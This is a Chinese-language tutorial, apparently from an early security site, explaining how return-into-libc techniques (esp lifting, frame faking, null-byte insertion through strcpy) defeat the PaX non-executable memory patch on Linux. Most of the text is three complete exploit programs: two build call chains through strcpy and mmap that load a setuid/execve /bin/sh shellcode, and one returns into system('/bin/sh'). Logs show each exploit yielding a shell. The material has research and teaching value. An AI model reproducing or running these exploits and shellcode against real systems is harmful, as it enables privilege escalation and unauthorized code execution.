绕过Pax内核补丁保护的方法浅析(上)---高级的return-into-lib(c) exploits技术

/ns/hk/hacker/data/20020813014028.htm

绕过Pax内核补丁保护的方法浅析(上)---高级的return-into-lib(c) exploits技术

Author: alert7
Email: alert7@whitecell.org
Homepage:http://www.whitecell.org



测试环境 6.2默认安装 内核2.4.16 + PaX
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)


★★ 前言

本文假使您写过一些*unix的exploit,了解其他一些内核补丁防止堆栈不可运行的技术。
让我们尽快切入正题。理解错误之处还请各位斧正。

PaX是为x86 linux设计的防止缓冲区溢出的一个内核补丁。这里说的防止缓冲区溢出
是一个广泛的概念,它也可以给大部分format string vuln和malloc/free vuln的
exploit...带来很大麻烦。
其主要功能是不允许在数据区(heap/bss/stack)执行代码,这个功能有点类试这个
<<使ELF应用程序的数据段不可执行的简易内核补丁>>
http://www.linuxforum.net/forum/showflat.php?Cat=&Board=Kstudy&Number=108848&page=0&view=collapsed&sb=5&o=7&part=
我在上大学的时候向内核技术版斑竹jkl请教的关于PLT的一些问题。然后他就写了
上面这个补丁。当然其实现原理是不一样的,前者使用的是页机制,后者使用的是段机制。


★★ return-into-lib(c)技术

先抛开pax不说,我们先来看看一般return-into-lib(c) 的情况

<- 堆栈增长方向
内存地址增长方向 ->
------------------------------------------------------------------
| buffer fill-up(*)| function_in_lib | dummy_int32 | arg_1 | arg_2 | ...
------------------------------------------------------------------
^
|
- 这个32位的int本来应该是vuln函数的返回地址,
现在变成library库中的地址或者是PLT中的地址

假如以后程序会用到ebp的话,(*) buffer fill-up 应该正确的处理这个int.
arg_1,arg_2,...是function_in_lib函数的参数。当function_in_lib函数返回时,
将会把dummy_int32作为EIP,继续执行。
你应该也想到了,如果再要调用一个lib中的函数的话,光光把dummy_int32换成
lib函数的地址是不行的。因为arg_2就会被当成dummy_int32函数的第一个参数,
dummy_int32函数返回的时候就会把arg_1做为EIP。

假如一个vulnerable的程序临时放弃了特权。我们的exploit在调用system前必须
带调用一系列的函数来获得特权。这样问题就出来了
第一个问题就是我们上面说的问题,我们如何正确把一系列的调用都串起来,又要
保证他们用的是适当的参数。
第二个问题就是函数和参数所有的这些数据都不能包含\0,那么象system("/bin/sh"),
"/bin/sh"字符串结尾\0是如何产生的。下面会讲到的。

Nergal<nergal@owl.openwall.com> 总结了两种方法把一系列函数调用串联起来。


★ 一: "esp lifting" 方法

该方法适用于-fomit-frame-pointer编译的程序。
因为带上-fomit-frame-pointer编译的程序的函数结尾如下的指令序列。
eplg:
addl $LOCAL_VARS_SIZE,%esp
ret

假如f1和f2是在library中的函数地址。我们构造如下的overflow string

<- 堆栈增长方向
内存地址增长方向 ->
---------------------------------------------------------------------------
| f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args...
---------------------------------------------------------------------------
^ ^ ^
| | |
| | <---------LOCAL_VARS_SIZE------------->|
|
|-- 这个32位的int应该是覆盖vuln函数的返回地址

PAD是一个填充部分(由非0的数据组成),PAD的长度大小加上f1那些参数的大小应该等于
LOCAL_VARS_SIZE. 这样当执行eplg处的ret时,就跳转到f2地址去了。

如果f1(如setuid()的参数就是)只有一个参数(一般参数大小就是4个字节),我们也可以寻找
如下指令序列
pop-ret:
popl any_register
ret

这样构造出来的就如下:
<- 堆栈增长方向
内存地址增长方向 ->
------------------------------------------------------------------------------
| buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ...
------------------------------------------------------------------------------
^
|
- 这个32位的int应该是覆盖vuln函数的返回地址

假如f1有很两个参数(一般参数大小就是8 bytes),我们需要在vuln程序中找如下指令序列
pop-ret2:
popl any_register_1
popl any_register_2
ret

太多连续popl指令序列可能在vuln程序中找不到,可能两个就已经开始找不到了。
所以在演示中,我们将寻找eplg的指令序列。

这样构造payload的好处也是显而易见的,我们不需要知道f2字段的地址,就可以
跳到f2指向的地址去执行。就象windows中的jmp esp(其他的跳转指令指令,跟esp,ebp相关的)技术一样。
我一直有点疑问,在libc库中找jmp esp指令地址跟猜测esp值哪个的成功率和精确度会高点呢??哪个又更有
普遍性和通用性呢??呵呵,可能是猜测esp来的更通用,不然也不会在众多*unix的exploit中看不到使用
jmp esp技术的。但在本文中,jmp esp的思想发挥的淋漓尽致:)



★ 二: frame faking方法

第二种方法是为编译时没有带上 -fomit-frame-pointer设计准备的。这样编译出来得的函数结尾一般有
如下指令序列。
leaveret:
leave
ret

在这样的的二进制程序中,我们可能找不到有用的"esp lifting"指令序列。
但事实上,是可以找到一些"add $imm,%esp; ret"指令序列。但是这是gcc的特性。我们不能依赖于这个特性。
因为它依靠太多的因数了(gcc的版本,编译时候的选项还有其他等等)。

我们将用返回到"leaveret" 来替代返回到 "esp lifting"指令系列。
overflow payload将由几个独立的部分组成。

<- 堆栈增长方向
内存地址增长方向 ->
saved FP saved vuln. function's return address
--------------------------------------------
| buffer fill-up(*) | fake_ebp0 | leaveret | ①
-------------------------|------------------
|
+---------------------+ (*) this time, buffer fill-up must not
| overwrite the saved frame pointer !
v ②
-----------------------------------------------
| fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ...
-----|-----------------------------------------
| the first frame
+-+
|
v ③
------------------------------------------------
| fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ...
-----|------------------------------------------
| the second frame
+-- ...

leaveret是一个地址值,该值的地址存放着如下指令序列
leaveret:
leave
ret

leave指令操作其实就是先把ebp-->esp,再pop ebp
ret指令操作其实就是pop eip

所以,执行到①处的leaveret时,ebp就变成了fake_ebp0,EIP就变成了leaveret值,
esp指向的是&(①leaveret)+4.
当①处的leaveret执行完,ebp就变成了fake_ebp1,EIP就变成了f1,
esp指向的是&(②leaveret),函数f1的参数为f1_arg1,f1_arg2 ...
当f1函数进入时,第一条指令就是push %ebp,将会覆盖到f1地址的值,使的
f1=fake_ebp1.第二条指令就是mov %esp,%ebp。
所以f1()返回时,EIP=leaveret,ebp还是等于fake_ebp1,esp指向的是&(②leaveret)+4.
接下去类似...

注意:为了使用这种技术,我们必须知道fake frames精确的位置,因为我们要填写fake_ebp字段。


当然在带上-fomit-frame-pointer编译的程序还是有可能使用这种技术的。
在这种情况下,我们在程序中不能找到leave&ret代码序列,但是通常可以在和程序一块儿连接的
startup routines(from crtbegin.o)中找到。我们必须把"zeroth" chunk(最前面frame)
做一点改变。

由于带上了-fomit-frame-pointer编译,vuln函数的结尾是如下指令序列
addl $LOCAL_VARS_SIZE,%esp
ret
(关于一些gcc的编译选项可参考拙作<<gcc常用的编译选项对代码的影响>>)
所以我们只需要改变下最前面的frame,其他frame不变,就可以得到上面的效果了。

-------------------------------------------------------
| buffer fill-up(*) | leaveret | fake_ebp0 | leaveret |
-------------------------------------------------------
^
|
|-- 这个32位的int应该是覆盖vuln函数的返回地址

到现在为止,我们可以用两中方法把一系列的调用串起来了,也就解决了第一个问题。
那么我们来看看第二个问题,一些参数尾的\0是如何来的(比如字符串"bin/sh",需要一个
\0作为终止符)。


★★ 插入null bytes

我们先来看看strcpy这个函数,它经常被程序用到,它的第二个参数应该指向NULL
结尾的字符串。也就是说我们每一次的strcpy的调用,就可以使某一个byte变成\0.
hehe,想到了没有,没有想到没有关系,下面我们继续说。
比如我们要调用system("/bin/sh"),可我们构造参数的时候只能构造/bin/shX .
我们可以先使用strcpy把/bin/shX中的X变成\0,strcpy函数的第二个参数有个要求,
应该是只是指向NULL。我们可以在vuln程序image中查找\0。

这里还有个问题,假如所有的libraries被mmaped到包含0的地址时
(象Solar Designer non-exec stack patch),我们不能直接返回到library中。
因为我们不能传NULL到我们构造的frame中。但是,假如strcpy 被vuln程序使用的话,
那我们就可以用该函数的PLT入口了。这样一来,我们又能任意调用libraries中的函数了。
但是,但是,假如程序中没有用到strcpy那怎么办,我们也可以使用其他函数替代。
比如strncpy,strcat,sprintf,snprintf etc...一系列的字符串函数还有其他
一些现在没有想到的却能生产\0的函数。所以对于一个比较大的应用软件来说,基本上
总可以找到可用的函数使我们要调用的函数的参数结尾生产\0.

好了,到现在为止,在最前面我们提到的两个问题已经解决了。


★★ 三个演示

理论这么多了,还是先结合下实际吧。


★ 例一:使用esp lifting技术

一 在带上-fomit-frame-pointer编译的VULN情况下,可以使用esp lifting技术
也可以使用fake frame技术

二 在不带上-fomit-frame-pointer编译的VULN情况下,应该使用fake frame技术
因为这种情况下,在函数尾部会有如下指令
leave
ret

leave 指令所做的操作相当于把MOV ESP,EBP 然后 POP EBP
就是先把ebp-->esp,再pop ebp,因为我们会覆盖到EBP,所以当leave的时候,
我们就把ESP也改了,所以esp lifting技术在这种情况下就不太合适。

[alert7@redhat62 phrack-nergal]$ cat vuln.c
#include <stdlib.h>
#include <string.h>
int main(int argc, char ** argv)
{
char buf[16];
char buf1[32];//需要加上这个,不然指令add xxx,%esp将跳不过mmap函数的参数总共大小。
//或者说定义下面的 char pad3[8 + POPNUM - sizeof(struct mmap_args)];
//就会出错,也就是会出现8 + POPNUM - sizeof(struct mmap_args) <0的情况

if (argc==2)
strcpy(buf,argv[1]);
}

[alert7@redhat62 phrack-nergal]$ gcc -fomit-frame-pointer -o vuln.omit vuln.c
[alert7@redhat62 phrack-nergal]$ ldd vuln.omit
libc.so.6 => /lib/libc.so.6 (0x4c6cb000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x4c6b3000)
[alert7@redhat62 phrack-nergal]$ ldd vuln.omit
libc.so.6 => /lib/libc.so.6 (0x4059b000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40583000)

library库加载的基地址每次运行的都不一样,须做一下处理.这是pax的另一个特性Randomize mmap() base
我们还没有讲到 ,暂时先使用chpax -r把这个特性去掉。

[alert7@redhat62 phrack-nergal]$ ./chpax -r vuln; ./chpax -r vuln.omit
[alert7@redhat62 phrack-nergal]$ ldd vuln.omit
libc.so.6 => /lib/libc.so.6 (0x40018000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[alert7@redhat62 phrack-nergal]$ ldd vuln.omit
libc.so.6 => /lib/libc.so.6 (0x40018000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
现在每次运行都一样了

Pax的不能防止return-into-lib的exploit。甚至如下的代码也能成功运行于pax保护的系统中。

char shellcode[] = "arbitrary code here";
mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, some_offset);
strcpy(0xaa011000+1, shellcode);
return into 0xaa011000+1;

我们的例一例二的exploit就使用了这种方法。

[alert7@redhat62 phrack-nergal]$ cat ex-move.c
/* by Nergal for vuln.c with -fomit-frame-pointer*/

#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>

#define LIBC 0x40018000
#define STRCPY 0x08048308
#define MMAP (0x000afaf0+LIBC)
#define POPSTACK 0x80483eb
#define PLAIN_RET 0x80483ee
#define POPNUM 0x30
#define FRAMES 0xbffffe00
#define MMAP_START 0xaa011000

char hellcode[] =
"\x90"
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* This is a stack frame of a function which takes two arguments */
struct two_arg {
unsigned int func;
unsigned int leave_ret;
unsigned int param1;
unsigned int param2;
};
struct mmap_args {
unsigned int func;
unsigned int leave_ret;
unsigned int start;
unsigned int length;
unsigned int prot;
unsigned int flags;
unsigned int fd;
unsigned int offset;
};

/* The beginning of our overflow payload.
Consumes the buffer space and overwrites %eip */
struct ov {
char scratch[16];//在某些高版本gcc编译出来的时候会有8个bytes的垃圾,自己调整下
//可能以后版本的gcc会把这些垃圾利用起来
unsigned int eip;
};

/* The second part ot the payload. Four functions will be called:
strcpy, strcpy, mmap, strcpy */
struct ourbuf {
struct two_arg zero1;
char pad1[8 + POPNUM - sizeof(struct two_arg)];
struct two_arg zero2;
char pad2[8 + POPNUM - sizeof(struct two_arg)];
struct mmap_args mymmap;
char pad3[8 + POPNUM - sizeof(struct mmap_args)];
struct two_arg trans;
char hell[sizeof(hellcode)];
};

#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))
//#define PTR_TO_NULL 0x80484a7

main(int argc, char **argv)
{
char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
char *env[2] = { lg, 0 };
struct ourbuf thebuf;
struct ov theov;
int i;

memset(theov.scratch, 'X', sizeof(theov.scratch));

if (argc == 2 && !strcmp("testing", argv[1])) {
for (i = 0; i < sizeof(theov.scratch); i++)
theov.scratch[i] = i + 0x10;
theov.eip = 0x05060708;
} else {
/* To make the code easier to read, we initially return into "ret". This will
return into the address at the beginning of our "zero1" struct. */
theov.eip = PLAIN_RET;
}

memset(&thebuf, 'Y', sizeof(thebuf));

thebuf.zero1.func = STRCPY;
thebuf.zero1.leave_ret = POPSTACK;
/* The following assignment puts into "param1" the address of the least
significant byte of the "offset" field of "mmap_args" structure. This byte
will be nullified by the strcpy call. */
thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_args, offset);
thebuf.zero1.param2 = PTR_TO_NULL;

thebuf.zero2.func = STRCPY;
thebuf.zero2.leave_ret = POPSTACK;
/* Also the "start" field must be the multiple of page. We have to nullify
its least significant byte with a strcpy call. */
thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_args, start);
thebuf.zero2.param2 = PTR_TO_NULL;

thebuf.mymmap.func = MMAP;
thebuf.mymmap.leave_ret = POPSTACK;
thebuf.mymmap.start = MMAP_START + 1;
thebuf.mymmap.length = 0x01020304;
/* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may
put non-zero junk in the other bytes. 2.2.x kernels are more picky; in such
case, we would need more zeroing. */
thebuf.mymmap.prot =
0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
/* Same as above. Be careful not to include MAP_GROWS_DOWN */
thebuf.mymmap.flags =
0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
thebuf.mymmap.fd = 0xffffffff;
thebuf.mymmap.offset = 0x01021001;

/* The final "strcpy" call will copy the shellcode into the freshly mmapped
area at MMAP_START. Then, it will return not anymore into POPSTACK, but at
MMAP_START+1.
*/
thebuf.trans.func = STRCPY;
thebuf.trans.leave_ret = MMAP_START + 1;
thebuf.trans.param1 = MMAP_START + 1;
thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

memset(thebuf.hell, 'x', sizeof(thebuf.hell));
strncpy(thebuf.hell, hellcode, strlen(hellcode));

memcpy(lg , &theov, sizeof(theov));
memcpy(lg + sizeof(theov), &thebuf, sizeof(thebuf));
lg[sizeof(thebuf) + sizeof(theov)] = 0;

if (sizeof(struct ov) + sizeof(struct ourbuf) != strlen(lg)) {
fprintf(stderr,
"size=%i len=%i; zero(s) in the payload, correct it.\n",
sizeof(struct ov) + sizeof(struct ourbuf) ,
strlen(lg));
printf("%s\n",lg);
exit(1);
}
execle("./vuln.omit", "./vuln.omit",lg , NULL, 0);
}

[alert7@redhat62 phrack-nergal]$ gcc -o ex-move ex-move.c
[alert7@redhat62 phrack-nergal]$ ./ex-move
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
bash$ exit

经过修改一系列的参数调整(如何调整具体看附README.code),终于在打过Pax安全内核补丁的情况下成功了


★ 例二: 使用fake frame技术

[alert7@redhat62 phrack-nergal]$ cat vuln.c
#include <stdlib.h>
#include <string.h>
int main(int argc, char ** argv)
{
char buf[16];
char buf1[32];
if (argc==2)
strcpy(buf,argv[1]);
}

[alert7@redhat62 phrack-nergal]$ gcc -o vuln vuln.c
[alert7@redhat62 phrack-nergal]$ ./chpax -r vuln
[alert7@redhat62 phrack-nergal]$ ldd vuln
libc.so.6 => /lib/libc.so.6 (0x40018000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[alert7@redhat62 phrack-nergal]$ ldd vuln
libc.so.6 => /lib/libc.so.6 (0x40018000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[alert7@redhat62 phrack-nergal]$ cat ex-frame.c
/* by Nergal for vuln.c without -fomit-frame-pointer */
#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>

#define LIBC 0x40018000//0x40018000//0x4001e000
#define STRCPY 0x08048308
#define MMAP (0x000afaf0+LIBC)
#define LEAVERET 0x080483bb//0x80484bd
#define FRAMES 0xbffffe60

#define MMAP_START 0xaa011000

char hellcode[] =
"\x90"
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


/* See the comments in ex-move.c */
struct two_arg {
unsigned int new_ebp;
unsigned int func;
unsigned int leave_ret;
unsigned int param1;
unsigned int param2;
};
struct mmap_args {
unsigned int new_ebp;
unsigned int func;
unsigned int leave_ret;
unsigned int start;
unsigned int length;
unsigned int prot;
unsigned int flags;
unsigned int fd;
unsigned int offset;
};

struct ov {
char scratch[16];
unsigned int ebp;
unsigned int eip;
};

struct ourbuf {
struct two_arg zero1;
struct two_arg zero2;
struct mmap_args mymmap;
struct two_arg trans;
char hell[sizeof(hellcode)];
};

#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))

main(int argc, char **argv)
{
char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
char *env[2] = { lg, 0 };
struct ourbuf thebuf;
struct ov theov;
int i;

memset(theov.scratch, 'X', sizeof(theov.scratch));

if (argc == 2 && !strcmp("testing", argv[1])) {
for (i = 0; i < sizeof(theov.scratch); i++)
theov.scratch[i] = i + 0x10;
theov.ebp = 0x01020304;
theov.eip = 0x05060708;
} else {
theov.ebp = FRAMES;
theov.eip = LEAVERET;
}
thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2);
thebuf.zero1.func = STRCPY;
thebuf.zero1.leave_ret = LEAVERET;
thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_args, offset);
thebuf.zero1.param2 = PTR_TO_NULL;

thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap);
thebuf.zero2.func = STRCPY;
thebuf.zero2.leave_ret = LEAVERET;
thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
offsetof(struct mmap_args, start);
thebuf.zero2.param2 = PTR_TO_NULL;

thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans);
thebuf.mymmap.func = MMAP;
thebuf.mymmap.leave_ret = LEAVERET;
thebuf.mymmap.start = MMAP_START + 1;
thebuf.mymmap.length = 0x01020304;
thebuf.mymmap.prot =
0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
/* again, careful not to include MAP_GROWS_DOWN below */
thebuf.mymmap.flags =
0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
thebuf.mymmap.fd = 0xffffffff;
thebuf.mymmap.offset = 0x01021001;

thebuf.trans.new_ebp = 0x01020304;
thebuf.trans.func = STRCPY;
thebuf.trans.leave_ret = MMAP_START + 1;
thebuf.trans.param1 = MMAP_START + 1;
thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

memset(thebuf.hell, 'x', sizeof(thebuf.hell));
strncpy(thebuf.hell, hellcode, strlen(hellcode));

memcpy(lg, &theov, sizeof(theov));
memcpy(lg + sizeof(theov), &thebuf, sizeof(thebuf));
lg[sizeof(thebuf) + sizeof(theov)] = 0;

if (sizeof(struct ov) + sizeof(struct ourbuf) != strlen(lg)) {
fprintf(stderr,
"size=%i len=%i; zero(s) in the payload, correct it.\n",
sizeof(struct ov) + sizeof(struct ourbuf) ,
strlen(lg));
exit(1);
}
execle("./vuln", "./vuln", lg, NULL, 0);
}

[alert7@redhat62 phrack-nergal]$ ./ex-frame
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
bash$ exit
exit

经过修改一系列的参数调整(如何调整具体看附README.code),使用fake frame技术也成功了 :)



★ 例三:

看看我在<<非安全编程演示之高级篇>>这片文章里讲到的那个exploit,
看看他在pax的情况下能否成功。

[alert7@redhat62 alert7]$ cat e2.c
int main(int argv,char **argc) {
char buf[256];
printf("%p\n",buf);
strcpy(buf,argc[1]);
}
[alert7@redhat62 alert7]$ ./chpax -r e2
[alert7@redhat62 alert7]$ cat exp_e2.c
#include <stdio.h>

#define RET_POSITION 260
#define NOP 0x90
#define BUFADDR 0xbffff978//0xbffff968
#define SYSTEM 0x40058ae0
char shell[]="/bin/sh"; /* .string \"/bin/sh\" */

int main(int argc,char **argv)
{
char buff[1024],*ptr;
int retaddr;
int i;

retaddr=SYSTEM;
if(argc>1)
retaddr=SYSTEM+atoi(argv[1]);

bzero(buff,1024);
for(i=0;i<300;i++)
buff[i]=NOP;
*((long *)&(buff[RET_POSITION-4]))=BUFADDR+4*3+strlen(shell);
*((long *)&(buff[RET_POSITION]))=retaddr;
*((long *)&(buff[RET_POSITION+4]))=0xaabbccdd;//当system返回时候的eip
*((long *)&(buff[RET_POSITION+8]))=BUFADDR+RET_POSITION+4*3;
ptr=buff+RET_POSITION+12;
strcpy(ptr,shell);
printf("Jump to 0x%08x\n",retaddr);

execl("./e2","e2",buff,0);
}
[alert7@redhat62 alert7]$ ./exp_e2
Jump to 0x40058ae0
0xbffff978
bash$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
bash$ exit
exit
Segmentation fault (core dumped)
[alert7@redhat62 alert7]$ gdb e2 core -q
Core was generated by `e2 '.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xaabbccdd in ?? ()

bingo~~,也是成功了:)


在PAX情况下,这三个例子成功的关键是我们把有问题的程序去掉了
Randomize mmap() base选项,使每次vuln的库都加载到同一个地方,(还有就是pax没有
把library库加载到内存的低端)所以这样我们就可以轻易的得到一些关键函数的地址,比如
说system的地址(即使vuln程序没有使用system())。